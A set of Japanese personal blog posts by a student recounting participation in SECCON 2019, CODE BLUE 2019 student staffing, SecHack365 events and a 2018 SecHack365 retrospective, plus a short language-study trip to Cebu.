f:id:scgajge12:20191230163423j:image

この日は秋葉原に10時に集合して11時から展示が始まりました。

SECCONのメインとしてSECCON CTF 2019が行われていました。

他にもカンファレンスやワークショップ、YOROZUが行われていました。

展示には思いのほか多くの方が見学に来てくれました。

来てくれた方、ありがとうございました。

土日の14時からはSecHack365のLT枠があり、僕は土曜日に担当しました。

内容としてはSecHack365についての説明と次年度募集の呼びかけを行いました。

 

この日は17時展示が終了して事務局が手配してくれたホテルに泊まりました。

 

 

2日目(22日 日曜日)

この日の10時に集合して10時から展示が始まりました。

この日は天気が少し悪いせいか昨日よりは来場者は少ない感じがしました。

日曜日も13時からSecHack365のLTがありました。

 

展示は16時まででその後は片付けとCTFの表彰式がありました。

 

そして17時半からCTFの出場者とスポンサーでの懇親会が近くの会場で行われました。

お酒の場でもあったので少しだけ参加して帰宅しました。

 

まとめ

今回はじめてSECCONに参加しましたがとても楽しめました。

ブースでの説明は大変でしたけど良い経験になりました。

SecHack365に興味を持ってくださった方も多くいて良かったです。

いつかSECCON CTFにも参加できるように頑張りたいと思いました。

(まずは予選突破を目指しますw)

最後まで読んでいただきありがとうございました。

CODE BLUE 2019 学生スタッフとして参加

 f:id:scgajge12:20191206072832j:image

今回は2019年10月28日~30日に行われたCODE BLUE 2019に

学生スタッフとして初めて参加したのでまとめておきます。

codeblue.jp

twitter.com

CODE BLUE 2019とは

f:id:scgajge12:20191206072907j:image

世界トップクラスの情報セキュリティ専門家による最先端の講演と、国や言語の垣根を越えた情報交換・交流の機会を提供する国際会議です。

国際的なコミュティ形成の場となることを目的にするとともに、CODE(技術)によってBLUE(海)を超えて人と人をつなぎ、よりよいインターネットの世界作りに貢献していきます。 

会場:ベルサール渋谷ガーデン

日程:2019 年10 月28 日(月)(Day0) / 15:30 〜18:30 (準備日)

   2019 年10 月29 日(火)  (Day1) / 9:20 〜21:00

   2019 年10 月30 日(水)  (Day2) / 9:00 〜18:55

 

学生スタッフとは

学生スタッフの募集はTwitterFacebookで公開されています。

1日は業務・もう1日はフリーで講演を聞くことが出来ます。

業務内容

会場運営、マイク回し、プレゼン切替、タイムキーパー、ドアキーパー、参加者誘導、配布物準備 など

 

学生スタッフの価値

  • 2日間のうちどちらか1日勤務、もう1日は聴講参加のチャンス
  • 遠方の方には宿泊場所提供
  • スタッフTシャツ提供
  • 世界最先端の講師陣と語り合うチャンス
  • セキュリティ企業の担当者と実際の現場や就職について相談するチャンス
  • 全国から集まるセキュリティ意識の高い学生スタッフと仲間になるチャンス

 

望ましい経験/スキル

  • 勉強会運営、ゼミ運営、イベント運営・支援経験
  • 接客業の経験
  • パワポ、プロジェクタ操作が得意(プレゼン切替の場合)
  • [重要]  CODE BLUEを心から楽しめること
  • 英会話力

 

募集枠

約60人となっています。

今年は100名以上の応募があったらしいので倍率は約2倍程度と考えられます。

f:id:scgajge12:20191206072931j:image

学生スタッフへの応募のきっかけ

きっかけは夏にこのTwitterを見て参加してみたいと思い、応募してみました。

 CODE BLUE というイベント自体は昨年知っていたのですが応募はしませんでした。

今年は忘れていたのと夏は海外に語学留学をしていた最中だったので全然気にもしていませんでした。

ですがこのTwitterを運よく発見することができ、気づいた日にすぐ応募しました。

 

Day0

この日の学生スタッフは準備日で12時30分に会場集合でした。

13時から学生スタッフとスポンサーとのキックオフでした。

ハロウィンが近いこともあってか料理の見た目が不思議なのが多くありました。

そこでは他の学生スタッフと交流をしました。

そして15時から各業務のオリエンテーションがありました。

今回はDay1に自分の業務があり、受付とドアキーパーが担当でした。

この日は17時頃に終わりました。

f:id:scgajge12:20191206073044j:image
f:id:scgajge12:20191206073036j:image

Day1

この日は業務日なため7時30分に集合しました。

午前は受付でパンフレットとストラップ付バッジの手渡しなどを行いました。

午後はメインホールのドアキーパーを行いました。

休憩中にちょくちょくブース等もこの日に見ることができました。

ドアキーパーでは中で待機する時は中の講演も聞けました。

特にSecHack365の同期生である朱義文さんのトークを聞くことが出来たので良かったです。

 

Day2

この日はフリーの日だったので午後から行きました。

来てからは1階の方を見に行きました。

オープントークスとブルーボックスの両方を。

その後にメインラックの方に行きました。

聞いてみたい講演を聞くことが出来たのでとても良かったです。

f:id:scgajge12:20191206073134j:image

f:id:scgajge12:20191206073138j:image

 

17時からはNetworking Partyのための立食パーティー用に会場転換の時間でした。

19時から21時までは1階でNetworking Partyでした。

 

f:id:scgajge12:20191206073128j:image

 

まとめ

3日間を通してとても良い刺激と経験になり、楽しむことができました。

SecHackパーカーを着ている方が何人かして着てくればよかったと後々思いました。

一つ思ったことが10代で参加したということがあり、お酒の場の雰囲気に馴染めないのが少しありました。

早く20代になってそのような雰囲気に馴染めるようになりたいと感じました。

また次も参加できる機会がありば参加したいと思います。

ありがとうございました。

SecHack365 Returns 2019に参加

f:id:scgajge12:20191011005001j:image

今回は9月28日に参加したSecHack365 Returns 2019についてまとめておきます。

 SecHack365 HP   : https://sechack365.nict.go.jp/

 公式開催レポート :                                               

はじめに

まずSecHack365 Returns とはSecHack365を修了したトレーニーの成果や近況を発表、交流する回でした。

今年は1期生と2期生の方が参加できました。

f:id:scgajge12:20191011011623j:image

 

スケジュール&内容

会場は秋葉原で13時から始まりました。

内容としては

  • 特別講演 EYES Japanの山寺純さん

   " You don't change the world by doing what you're told"

  • 修了生企画 修了生2名(2期生:2名)

   「Elmのお話」「OSSライセンス入門」

  • 修了生活動報告 選抜された修了生6名(1期生:2名、2期生:4名)

   「SXSW訪問で感じた世界に広まるサービスを作る方法」

   「秘密計算技術の可能性と実装」

   「普通の大学院生が授業を作ってみた

     ~バグハンティングコンテストによせて~」

   「SecHack365が教えてくれた」

   「ExGDBの新機能とその他 SecHack365以降の成果」

   「米国で行われるCanSatの打ち上げ実験 ARLISSに参加してきた」

  • 修了生成果発表 事前審査で評価された修了生チーム(1期生)

   「サイバー攻防体験学習ゲーム Cyshipの成果発表」

  • ポスター発表 & LT
  • クイズ大会 & YOROZUコーナー
  • 交流会(懇親会)

 などが行われました。

 

特に特別講演でお話されたEYES Japanの山寺さんの話に出た

「 アイディアは移動距離に比例する 」

 by フランスの哲学者 Jacques Derrida

が強く印象に残りました。

 

クイズ大会では修了生が企画してくださり、楽しめました。

景品も豪華なものばかりでした。

 

今年度のチラシを頂きました。

カラーは緑です。

f:id:scgajge12:20191011011816j:image
f:id:scgajge12:20191011011813j:image

 

まとめ

今回は初参加でとても楽しめました。

久々にトレーナーの方や修了生と話せたり、交流することができました。

とても刺激を受けることができ、自分のモチベーションがとても高まりました。

運営・企画してくださったトレーナー・トレーニー、スタッフの方々

大変ありがとうございました。

また予定が合えば来年も参加したいと思います。

f:id:scgajge12:20191011011426j:image

 

短期語学留学 in セブ島

f:id:scgajge12:20191010234944j:イメージ

はじめに

今回は今年の夏に短期留学(語学留学)をしたことをまとめておきます。

 

背景

短期留学をした理由は単純に英語のスキルを上げるためにです。

このころは海外への意識が高く、本格的な海外留学を検討していたので短期での海外生活を体験しておきたいと思い実際に行きました。

なぜフィリピンにしたかというと費用を安くして学びたいと思ったからです。

今回は留学エージェン「iae留学ネット」さんから紹介してもらい学校を選びました。

www.iae-ryugaku.net

 

学校はセブ島にある「ZA English Academy」にしました。

f:id:scgajge12:20191010235457j:イメージ

www.za-english.com

 

学校について

今回行った「ZA English Academy」は日本人の方が経営者していて

とても日本人に合った環境でした。

特にフィリピンでは珍しいWi-Fi光回線)を導入してしてとてもネットが便利でした。

フィリピンはトイレを利用する際、紙を流さないのが普通ですが、この学校は紙が流せるトイレでした。

その辺も日本人に優しい環境でした。

クリニックや洗濯も週に2回あり、快適でした。

部屋の人数は1、2、4人部屋があり、僕は4人部屋にしました。

f:id:scgajge12:20191010235818j:イメージ

なぜかは費用が安いのと友達関係を作ってみたかったからです。

食事も毎日3食あり、日本食に近い味で美味しかったです。

f:id:scgajge12:20191010235758j:イメージ
f:id:scgajge12:20191010235805j:イメージ
f:id:scgajge12:20191010235803j:イメージ

 

行き

セブまでは成田→マニラ→セブで行きました。

今回はフィリピン空港を利用しました。

 

 成田13:40発マニラ17:30着

 マニア19:25発セブ20:40着 

 

乗り換えもスムーズにいき、快適に過ごすことが出来ました。

セブに着いた後は学校のスタッフが来てくれていてピックアップしてもらいました。

学校に着いた後は部屋に行き、支度をして次のテストに向けて準備しました。

 

帰り

 

 セブ14:50発成田20:30着

 

帰りは成田までの直行便があったため楽に帰れました。

セブ空港まではタクシーで行きました。

空港ではスムーズに検査等終わってゆっくり出来ました。

この次の日は台風で空港が「陸の孤島」状態になった日だったので台風が早まらなくて良かった記憶があります。

フィリピンを出る前の最後の食事は空港でラーメンを食べました。

海鮮系でとても美味しかったです。

f:id:scgajge12:20191010235941j:image

 

まとめ

今回は短期での語学留学でしたがとても楽しみながら学ぶことが出来ました。

フィリピンの場所によっては治安や環境が悪い所もあると知っていましたが僕が行ったところは全然大丈夫でした。

近くにセブンイレブンがあったりと快適でした。

あとは物価が安いです!

全然お金が減りませんでしたw。

 

費用を抑えて英語を海外で学びたい方はぜひ参考にしてみてください。

最後まで読んでいただき、ありがとうございました。

 

SecHack365(2018)の振り返り

f:id:scgajge12:20190315073327p:plain

はじめに

2018年度のSecHack365 思索駆動コースに選考されて2019/3/8に修了したので1年間の思い出をまとめてみました。

次年度の応募を検討している方は少し参考にしてみてください。

(今見てる方で参加条件が合う方は応募すべきです!!!)

 

目次

 

まず自己紹介(応募時)

まず、僕は高校生の時に参加しました。

主にAtCoderやCTFに関する勉強をしていました。

特にイベントなどには参加したことがなく、SecHackが初の参加でした。

 

SecHack365とは

若手セキュリティイノベーター育成プログラム SecHack365は、25 歳以下の学生や社会人から公募選抜する 40 名程度の受講生を対象に、サイバーセキュリティに関するソフトウェア開発や研究、実験、発表を一年間継続してモノづくりをする機会を提供する長期ハッカソンです。

 というものです。

2017年度から始まったプログラムなので僕らは2期生となります。

SecHack内では講師をトレーナー、受講者をトレーニーを呼びます。

主  催:国立研究開発法人情報通信研究機構NICT
実施期間:2018年5月〜 2019年3月 計7回の集合イベントおよび通年の遠隔開発実習
場  所:日本全国各地

 2018年度の集合イベントは

5月:神奈川、6月:北海道、8月:福岡、10月:山形、11月愛媛、2月:沖縄、3月:東京

でオフライン回がありました。

年度によって場所が変わるかもしれません。

宿泊ですが東京回以外は2泊3日でした。

泊まる部屋ですがだいたい3.4人部屋で毎回ランダムなメンバーになっていました。

 

2018年度からコース制になりました。

■表現駆動コース
まず最初に、「興味があるもの」や「作りたいもの」を発表や議論を通じて表現し、練りあげながら進めるコースです。表現したものに対して、いろいろな人からのフィードバックを集めて、作品として仕上げていきます。進捗や課題等も定期的に発表、議論をして、作品作りを進めてもらいます。

■思索駆動コース
身の回りにある、「ちょっと気になるささいな問題」にまなざしを向けるところから始め、その問題の解決をじっくり考えながら進めるコースです。思索と対話の繰り返しを通して、「問題の解決を実現できるサービスやシステム」を考案し、試作、実装、ローンチまで漕ぎ着ける根性が求められます。

■開発駆動コース
興味ある技術や作りたいものに対して、早速開発を始めるコースです。
まずは興味ある技術や自身が作りたいものを作ります。もしくはトレーナーの判断で勉強から始めてもらう場合もあります。

 僕は思索駆動コースで参加しました。

応募時にコースごと応募内容が異なったので次年度のコース説明が公開されたら参加したいコースをある程度考えていた方がいいと思います。

2019年度はコースが5つに増えました!!(新しく2つ追加)

■学習駆動コース
興味ある技術や作りたいものに対して、付加的な学習をしながら開発を進めるコース。付加学習により他技術や他分野を知ることで、作るもののアイディアの幅を広げる。

■研究駆動コース
研究的プロセスに基づいたアイデア、仮説立案と検証評価を重視したコース。研究者的なスキルを磨いて、将来の研究者になり得る人材を育成する。

自分が挑戦したいと思うコースに応募するのが

   選考(合格)への近道! 

 2018年度版

参加条件

日本国内に居住する25歳以下の方 (2019年3月31日時点の年齢) 

必要経費

約50万円(学生については全額補助)

 学生の方はありがたく参加が可能です。

倍率は約7~10倍くらいだと思います。

参加者の年齢層は大学生や大学院生が多かったです。

高等学校のトレーニーは僕も合わせて5人でした。

受講決定者(2018年度)  

社会人:6名                   大学院:11名

大学(学部):20名           専門学校:1名

高等専門学校:5名        高等学校:5名

中学校:2名                                    

                                                         計50名

表現駆動コース:23名

思索駆動コース:11名

開発駆動コース:16名

                                                 2018年5月7日時点

 

 

sechack365.nict.go.jp

www.nict.go.jp

 

応募時

2018年度の応募期間は

・募集開始日: 4月2日(月)
・課題フォーム申込期限: 4月17日(火) 17時(日本標準時
・課題フォーム提出期限: 4月20日(金) 17時(日本標準時

となっていました。

事前に申し込みが必要なので注意です。

僕は半年前くらいにSecHackの存在を知り、応募しようと考えていたので

2日に申し込みをして、応募内容をじっくり考えて20日に提出しました。

 

僕は「世間で一般の方が受けるセキュリティ被害を減らした!」という大きなテーマから具体的なフィッシング詐欺や不正アプリによる被害をどのようにすれば減らせるのかを自分なりに考えて応募項目にまとめました。

応募内容で苦戦したのが文字数がある程度決められていたのでそこまで減らす作業が大変でした。

 

応募提出期限から選考期間が約二週間くらいあってそのあとに合否通知がきます。

合否連絡は5/2の日に全員に知らされました。(2019年度は5/7までらしいです)

選考された方は電話とメールが来ました。

僕の場合は学校から帰っている途中で電話が来ました。

 

2019年度

・募集開始日: 4月1日(月)
・課題フォーム申込期限: 4月16日(火) 17時(日本標準時
・課題フォーム提出期限: 4月19日(金) 17時(日本標準時

 

 

5月 神奈川回

神奈川回(横浜市)は5/18(金)~5/20(日)に行われました。

僕は神奈川県に住んでいるんでとても楽に行けました。

f:id:scgajge12:20190315032020j:plain

8月の福岡回以外は全て金曜~日曜という予定で組まれているので金曜日は休まなければいけません。

僕の場合は高校に話したら公欠扱いになりました。

初の顔合わせの場だったので少し緊張しました。

初日は開会に挨拶や一年間の取り組み、マンダラートなどの話があり、トレーナーの紹介や交流会などが行われました。

2日目はアイディア出しとコースワークを習慣化についての話がありました。

コースワークは午後から行われて初めてコースのメンバーがそろう場でした。

f:id:scgajge12:20190315032818j:plain

急な条件での自己紹介や自分が応募当時書いたテーマなどを対話して意見交換などをしました。

最終日にも午前中にコースワークがありました。

哲学的な話をしたり、対話と思索を繰り返し行いました。

神奈川回の思索駆動コースは主に応募当時に考えていたアイディアをお互いに話して「なぜ必要なのか」「なぜそれを作成したいのか」などを聞きあって整理していきました。

そして次のステップに向けての話もしました。

3日間はあっという間に終わってしまいました。

sechack365.nict.go.jp

 

6月 北海道回

北海道回(札幌市)は6/29(金)~7/1(日)に行われました。

初日ではさくらインターネットの石狩データセンターを見学しました。

サーバールームや会社の特徴などの話を聞くことができ、めったに聞くこと・見ることができないことを体験できました。

見学後はホテルに着いたら今年度のSecHack Tシャツが配布されました。

3日間あるので三着分。

f:id:scgajge12:20190315035245j:plain

今年度のテーマカラーが青なので青系だそうです。

二日目の午前中はくぼたつ道場が行われました。

くぼたつ先生(久保田達也さん)によるアイディア発想です。

僕はアイディアなどの発想が苦手意識があったので少し抵抗があったのですが、思いきって取り組んでみました。

その結果少し楽しさを感じることが出来ました。

午後はトレーナーの方による豪華縁日とコースワークが行われました。

縁日は10つくらいのテーマがあって2つまで参加できました。

エキスパートのトレーナーから直接教わることが出来てとても貴重な縁日でした。

コースワークでは思索駆動コースは神奈川回以降からオンラインゼミが行われていて、その内容について議論をしたり、今後の道筋などを話し合いました。

オンラインとオフラインで話をするのはやはりオフラインで話す方が楽しく、話が弾んで良い議論ができました。

既にある程度方向性が固まっている人はその開発に取り組んでいました。

最終日はコースワークとランクアップだけでした。

何をテーマに一年間作り上げていくのかを思索しました。

僕はある程度方向性は固まってきた感じで終わりました。

f:id:scgajge12:20190315040811j:plain

 

sechack365.nict.go.jp

 

8月 福岡回

福岡回(福岡市)は8/22(水)~8/24(金)に行われました。

初日は株式会社ヌーラボに訪問しました。

講演やディスカッションを行い起業やサービスの運営など細かい部分まで話が聞けました。

f:id:scgajge12:20190403130158j:image

その後に修了生によるLTがありました。

今回は3名の1期生の方が招かれて、3日間を通してアドバイスなどをいただきました。

夜は習慣化とマンダラートの話で終わりました。

2日目は中間発表が行われました。

ひとり5分の持ち時間で現時点での成果発表会までに作り上げたい内容をプレゼンしました。

年上順から発表だったので僕は最後の方でした。(最後から8番目)

お昼後の合間にくぼたつ道場が行われました。

今回は自然発想法で実際にホテルの前にあるきれいな海に行き、楽しみました。

f:id:scgajge12:20190315042809j:plain

最終日は検事さんによる論理セッションが行われました。

3日間を通してとても意見交換が出来てやる気も上がりました。

 

sechack365.nict.go.jp

 

10月 山形回

山形回(山形市)は10/12(金)~10/14(日)に行われました。

行ったらすぐに今年度のパーカーが配布されました。

f:id:scgajge12:20190315045201j:plain

初日はオープニングが終わったらすぐにポスター展示が行われました。

事前に作成していたポスターを元に3回に分けて60分ずつトレーナ・トレーニーに見てもらったフィードバックを貰いました。

60分ずっと話続けてると喉がカラカラになりましたw。

既にデモのようなところまで完成度を持ってきているトレーニーもいました。

2日目は修了生のLTやポスター展示のレビュー整理・直しなどがありました。

今回は4名の修了生が招かれて応援のLTが行われました。

昼食後にリフレッシュでロープウェイに乗って山の頂上や湖などを回りました。

とても寒かったですw。

f:id:scgajge12:20190315050213j:plain

夕方頃に埼玉工業大学の服部聖彦さんの講演が行われました。

CanSatという小型衛星などの話を聞けました。

夜はトレーナーを囲む会というのが行われ、トレーナーの持ちネタのような話を聞く時間がありました。

最終日はコースワークや相談時間がありました。

次回はデモ展示が行われるのでそれに向けての話をしました。

この山形回では作成物をどうするかなどのアイディアを固める回でもありました。

3日間を通していろんなフィードバックを得ることができ、ハロウィン感のある回で楽しく過ごせました。

f:id:scgajge12:20190315050955j:plain

 

sechack365.nict.go.jp

 

11月 愛媛回

愛媛回(松山市)は11/30(金)~12/2(日)に行われました。(SecHack356ってw)

f:id:scgajge12:20190315055711j:plain

 初日は大リハーサル大会が行われました。

4つのグループに分かれて一人10分プレゼンテーションを行いました。

内容からプレゼン方法まで細かくフィードバックを貰いました。

他の人のプレゼンも聞くことができ、刺激を受けました。

夜は米国のサイバー軍に所属しているCharles Jacob Cadwellさんの講演がありました。

サイバー軍の話や米軍の使用しているシステムなどの話を聞くことが出来ました。

めったに聞くことのできない内容で面白かったです。

 2日目はデモ&ポスター発表が行われました。

東京回に向けてのフィードバックを貰いました。

段々と最終段階に突入してきている感じです。

お昼後の合間にレクリエーションで奥道後を散策しました。

f:id:scgajge12:20190315055939j:plain

今回も修了生が3名招かれてLTが行われました。

夜には2名の方によるゲスト講演がありました。

1名はNextremer・高知AIラボの興梠さんによるAI・ディープラーニングの講演がありました。

会社の取り組みなどの話があり、とても興味深い内容でした。

もう1名は落語家の桂三幸さんによる落語がありました。

PCやスピーカーを利用した落語でとても面白かったです。

f:id:scgajge12:20190315060956j:plain

最終日はいよいよ最終段階に向けての最後の相談時間でした。

沖縄回で発表に向けて真剣に話を進めていきました。

 

sechack365.nict.go.jp

 

2月 沖縄回

沖縄回(南城市)は2/1(金)~2/3(日)に行われました。

f:id:scgajge12:20190315063946j:plain

沖縄回は1年を通して作り上げた成果物をSecHack内で発表する回をなってました。

2日間をかけて全チームが発表をしました。

1チーム持ち時間20分で発表をしました。

発表順はまたしても年上順でした。

無事に僕も発表をすることが出来ました。

f:id:scgajge12:20190315064615j:plain

伝えたい内容はしっかりと伝えることが出来たので良かったです。

最終日は優秀者の発表とゲスト講演などがありました。

朝食後にすぐ発表がされました。

今年度は6チームのテーマが選ばれました。

どれも納得のいく内容で歓声が湧きました。

ゲスト講演として沖縄オープンラボトリの山崎里仁さんの経験や苦労話などを聞けました。

ありがたい内容を聞けてとても感動しました。

午前の最後に最後のコースワークがありました。

思索駆動コースでは最後に一人一人コメントしたりして、一年間を振り返りました。

f:id:scgajge12:20190315070110j:plain

午後はレクリエーションで沖縄の聖地である斎場御嶽という所に行きました。

とても神秘的な所を散策できました。

f:id:scgajge12:20190315070249j:plain

そして海にも行きました。

天気もよくてとても気持ちが良かったです。

f:id:scgajge12:20190315070200j:plain

 

sechack365.nict.go.jp

 

3月 東京回

東京回(秋葉原)は3/8(金)で行われました。

東京回は2018年度の最後の集まりで外部向けの最終成果発表会でした。

f:id:scgajge12:20190402063257j:image

無事に修了することが出来ました。

 

一年間があっという間に終わってしまった感が凄くありました。

でもその分、得たものは絶大なものだったのは確かです。

 

sechack365.nict.go.jp

 

最後に(メッセージ)

SecHack365に参加して本当に人生を変える経験になりました。

多くの出会いや対話があり、僕にとって大きな力になりました。

思索メンバーとも多くの議論をすることで幅広い考え方やアイディアを得ることが出来ました。

技術的な面でも大いに成長でき、刺激を受け合えます。

参加条件にある誰でも参加する価値があるプロジェクトなのは間違いありません。

 

思索駆動コースの修了生としてアドバイスがあるとしたら

  • 参加してやりたいことの熱意を文字で表現して猛烈にアピールしてみてください
  • 自分に素直なって斬新面白いアイディアを出してみてください

 

選考には定員制限があるので絶対とは言えませんが、頑張って応募項目を埋めてみてください。

選考時にトレーナーは年齢や学校名などは気にしない(伏せて?)で選考をしているそうです。

なので僕のように大学生・大学院生でない方でも自信を思って応募項目を埋めて、提出してみてください!

 

最後まで読んでいただきありがとうございました!

SecHackの応募を少しでも考えている人はぜひ応募してみてください。

とても良い一年間(一年後も)になると思います。

不安や悩みがある方はコメントやDMでも相談に乗りますので声を掛けてください。

ありがとうございました。